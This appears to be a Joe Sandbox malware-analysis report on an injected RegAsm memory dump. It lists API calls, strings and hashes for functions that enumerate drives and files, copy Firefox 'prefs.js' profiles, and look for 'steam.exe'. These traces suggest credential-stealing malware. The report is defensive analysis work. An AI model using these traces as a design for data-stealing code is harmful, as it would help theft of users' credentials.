Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocateCurrentDirectoryInformationProcessProfileVolumeWindowslstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C$QuBi
API String ID: 102286259-239756005
Opcode ID: f60a383d40a34ee0e4043c06ddc9d8a56bca149667f6e07c4af6016f75c6f192
Instruction ID: 45d4e79b05e92563697c675361b6ae44f298aa381d1576c13e0bb94fef40dc50
Opcode Fuzzy Hash: f60a383d40a34ee0e4043c06ddc9d8a56bca149667f6e07c4af6016f75c6f192
Instruction Fuzzy Hash: 42416DB1D04128ABCB14AF69DD85ADEBBB9AF49304F0000EAB549E2161D6748FD58F98

Function 00401D70 Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

FindFirstFileA.KERNEL32(?,?,004399AC,004399B0,004359F7,004359F6,>tA,?,00000000), ref: 00401F94
StrCmpCA.SHLWAPI(?,004399B4), ref: 00401FC7
StrCmpCA.SHLWAPI(?,004399B8), ref: 00401FE1
FindFirstFileA.KERNEL32(?,?,004399BC,004399C0,?,004399C4,004359FA), ref: 004020CD

Part of subcall function 00411C74: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411CB5

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

FindNextFileA.KERNEL32(?,?), ref: 00402392
FindClose.KERNEL32(?), ref: 004023A6
FindNextFileA.KERNEL32(?,?), ref: 004026B6
FindClose.KERNEL32(?), ref: 004026CA

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00411C4A: GetFileAttributesA.KERNEL32(?,?,?,0040A19C), ref: 00411C51

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 00407F9E: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
Part of subcall function 00407F9E: GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
Part of subcall function 00407F9E: LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
Part of subcall function 00407F9E: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
Part of subcall function 00407F9E: CloseHandle.KERNEL32(?), ref: 00408026

Strings

\*.*, xrefs: 00401E8E
>tA, xrefs: 00401D85

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$FirstNextlstrcat$AllocAttributesCreateFolderHandleLocalPathReadSizeSystemTimelstrlen
String ID: >tA$\*.*
API String ID: 229877159-2042268101
Opcode ID: 4e9a929c4654332bdb9a59489dd5956d6f25727f816058b91d87fb2a050b0a30
Instruction ID: 6f91f38c1140bb29a7f3db16d66f5ba9bea81f96776cc9e0559fc7f62424d11c
Opcode Fuzzy Hash: 4e9a929c4654332bdb9a59489dd5956d6f25727f816058b91d87fb2a050b0a30
Instruction Fuzzy Hash: 9232A071A011298BCF20FB26CD8A6CD7374AF44308F5105FAA948771A1DBB96FC58F99

Function 00414CA6 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 00414D26
GetDriveTypeA.KERNEL32(?), ref: 00414D52
lstrcpy.KERNEL32(?,?), ref: 00414D72
lstrcpy.KERNEL32(?,?), ref: 00414D8D

Part of subcall function 0041482C: wsprintfA.USER32 ref: 00414880
Part of subcall function 0041482C: FindFirstFileA.KERNEL32(?,?), ref: 00414897
Part of subcall function 0041482C: StrCmpCA.SHLWAPI(?,004359C8), ref: 004148E5
Part of subcall function 0041482C: StrCmpCA.SHLWAPI(?,004359CC), ref: 004148FF
Part of subcall function 0041482C: wsprintfA.USER32 ref: 00414926
Part of subcall function 0041482C: StrCmpCA.SHLWAPI(?,004355FE), ref: 0041493A
Part of subcall function 0041482C: wsprintfA.USER32 ref: 00414963
Part of subcall function 0041482C: lstrcat.KERNEL32(?,?), ref: 004149A1

lstrcpy.KERNEL32(?,00000000), ref: 00414DAE
lstrlen.KERNEL32(?), ref: 00414E28

Strings

%DRIVE_FIXED%, xrefs: 00414D94
*%DRIVE_FIXED%*, xrefs: 00414CC2
*%DRIVE_REMOVABLE%*, xrefs: 00414CF3
%DRIVE_REMOVABLE%, xrefs: 00414D79

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 3039682831-147700698
Opcode ID: 4bd2bea4489402fb95b38deca55d64d7e0e5a21471df990420352052da866651
Instruction ID: 7da9f9e047098b1058bed8345f45f5697c9ef41a2606c06008c588c778a15fa9
Opcode Fuzzy Hash: 4bd2bea4489402fb95b38deca55d64d7e0e5a21471df990420352052da866651
Instruction Fuzzy Hash: 36514FB190025CAFDF309FA1DC85BDA7BB9FB05304F1041AAEA0CA6111EB355E89CF59

Function 0040D47E Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

FindFirstFileA.KERNEL32(?,?,00436514,004358C6), ref: 0040D4FF
StrCmpCA.SHLWAPI(?,00436518), ref: 0040D520
StrCmpCA.SHLWAPI(?,0043651C), ref: 0040D53A
StrCmpCA.SHLWAPI(?,prefs.js,00436520,?,004358C7), ref: 0040D5C6

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

CopyFileA.KERNEL32(?,?,00000001,00436530,004358DD), ref: 0040D6A0
DeleteFileA.KERNEL32(?), ref: 0040D76B
FindNextFileA.KERNELBASE(?,?), ref: 0040D80E
FindClose.KERNEL32(?), ref: 0040D822

Strings

prefs.js, xrefs: 0040D5BA

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: cc2e827bbb192a1bdf3f811093fd2b5ef5d956118c4c2b5203171fafd7e1c5e1
Instruction ID: 2f77753941e1f96a4269bef5d4661874ba90a54cf93f2f2bcc17434a4e6d2695
Opcode Fuzzy Hash: cc2e827bbb192a1bdf3f811093fd2b5ef5d956118c4c2b5203171fafd7e1c5e1
Instruction Fuzzy Hash: 80A11972D001289BCF60FB26DD46BCD7774AF45304F4105E6A908B7291DAB9AEC98FC5

Function 0040B497 Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

FindFirstFileA.KERNEL32(?,?,004363C8,00435817), ref: 0040B50F
StrCmpCA.SHLWAPI(?,004363CC), ref: 0040B530
StrCmpCA.SHLWAPI(?,004363D0), ref: 0040B54A
StrCmpCA.SHLWAPI(?,004363D4,?,0043581A), ref: 0040B5D7
StrCmpCA.SHLWAPI(?), ref: 0040B638

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 0040AA9D: CopyFileA.KERNEL32(?,?,00000001,00436374,004357FF), ref: 0040AB42

FindNextFileA.KERNELBASE(?,?), ref: 0040B7A3
FindClose.KERNEL32(?), ref: 0040B7B7

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: b59ed0ddf0561abbb8f45b5b9075e7fb545783d0c3fadc8042c0f8d141afb770
Instruction ID: ec61456b4f0ec7835ed66c450e139e5ffcd011694001dab7bb040b7537340fec
Opcode Fuzzy Hash: b59ed0ddf0561abbb8f45b5b9075e7fb545783d0c3fadc8042c0f8d141afb770
Instruction Fuzzy Hash: D281ED7190021C9BCB60FF36DD46AD97774AB44304F4145B6BC08F3291DBB89E998BD9

Function 00410C93 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

GetKeyboardLayoutList.USER32(00000000,00000000,004357A3), ref: 00410CC4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410CD2
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410CE0
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00410D0F

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

LocalFree.KERNEL32(00000000), ref: 00410DB7

Strings

/ , xrefs: 00410D2B

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 0fcff77d7e4f0a626e8b35fea2a6574fde8fecf3cf708a71a8f4c7cde22c2e8d
Instruction ID: 8ebfa236cbfda36ee5b20ebc035a532f0d91c7194b3b1578124bb4bdfd83f82f
Opcode Fuzzy Hash: 0fcff77d7e4f0a626e8b35fea2a6574fde8fecf3cf708a71a8f4c7cde22c2e8d
Instruction Fuzzy Hash: 9C310FB5D002289BCB60AF65DD89BDDB3B8AB04304F1041E6F919B7162CBB86EC58F54

Function 00412362 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041238E
Process32First.KERNEL32(00000000,00000128), ref: 0041239E
Process32Next.KERNEL32(00000000,00000128), ref: 004123B0
StrCmpCA.SHLWAPI(?,steam.exe), ref: 004123C2
CloseHandle.KERNEL32(00000000), ref: 004123DB

Strings

steam.exe, xrefs: 00412371, 004123BA

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 420147892-2826358650
Opcode ID: de5891e1c41be0d5fc6dcaa709e1681b3eaa7b80f81660f11795aec3b818b4a5
Instruction ID: 12b68def990ca6282611b5f56461ea055d046fdeb30518f4e1078e984aaa786b
Opcode Fuzzy Hash: de5891e1c41be0d5fc6dcaa709e1681b3eaa7b80f81660f11795aec3b818b4a5
Instruction Fuzzy Hash: F701FF71A011299FDB709F65DE45BDEB6B8BF05301F9041B6E81EE2260DB788E81CF64

Function 0041160F Relevance: 7.6, APIs: 5, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(004321B0,00000000,00000001,00439F60,?), ref: 00411639
SysAllocString.OLEAUT32(?), ref: 00411646
_wtoi64.MSVCRT ref: 00411679
SysFreeString.OLEAUT32(?), ref: 00411692
SysFreeString.OLEAUT32(00000000), ref: 00411699

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateInstance_wtoi64
String ID:
API String ID: 1817501562-0
Opcode ID: bc97eeb1e84cbc4cd533458778a4f43f76316eac58ad59c108a759a9101545c7
Instruction ID: c180d401d112fc22ac29f8a2604caa7d4b317607de43c4fb7bdae32d8f7abea0
Opcode Fuzzy Hash: bc97eeb1e84cbc4cd533458778a4f43f76316eac58ad59c108a759a9101545c7
Instruction Fuzzy Hash: 9A118170A0020ADFCB10DF95DD889EE7BB5AF49300F94447EF205E7260CB354946CB28

Function 00412439 Relevance: 7.5, APIs: 5, Instructions: 37processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00412462
Process32First.KERNEL32(00000000,00000128), ref: 00412472
Process32Next.KERNEL32(00000000,00000128), ref: 00412484
StrCmpCA.SHLWAPI(?), ref: 00412496
CloseHandle.KERNEL32(00000000), ref: 004124AA

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 9e9b003ba9b26e2e57025d45ab50ca1bc432c178b4964825f39a7a85be701839
Instruction ID: 23863a359dc573a42669a580f8debb30b19d55d7cde6debbd86312a847be1db6
Opcode Fuzzy Hash: 9e9b003ba9b26e2e57025d45ab50ca1bc432c178b4964825f39a7a85be701839
Instruction Fuzzy Hash: F2014475A011249FDB219B65DE08FEF7BBDAF15300F4400EAE44EE2261DB788E41DB69

Function 00410BE6 Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00410C01
RtlAllocateHeap.NTDLL(00000000), ref: 00410C08
GetTimeZoneInformation.KERNEL32(?), ref: 00410C17
wsprintfA.USER32 ref: 00410C35

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
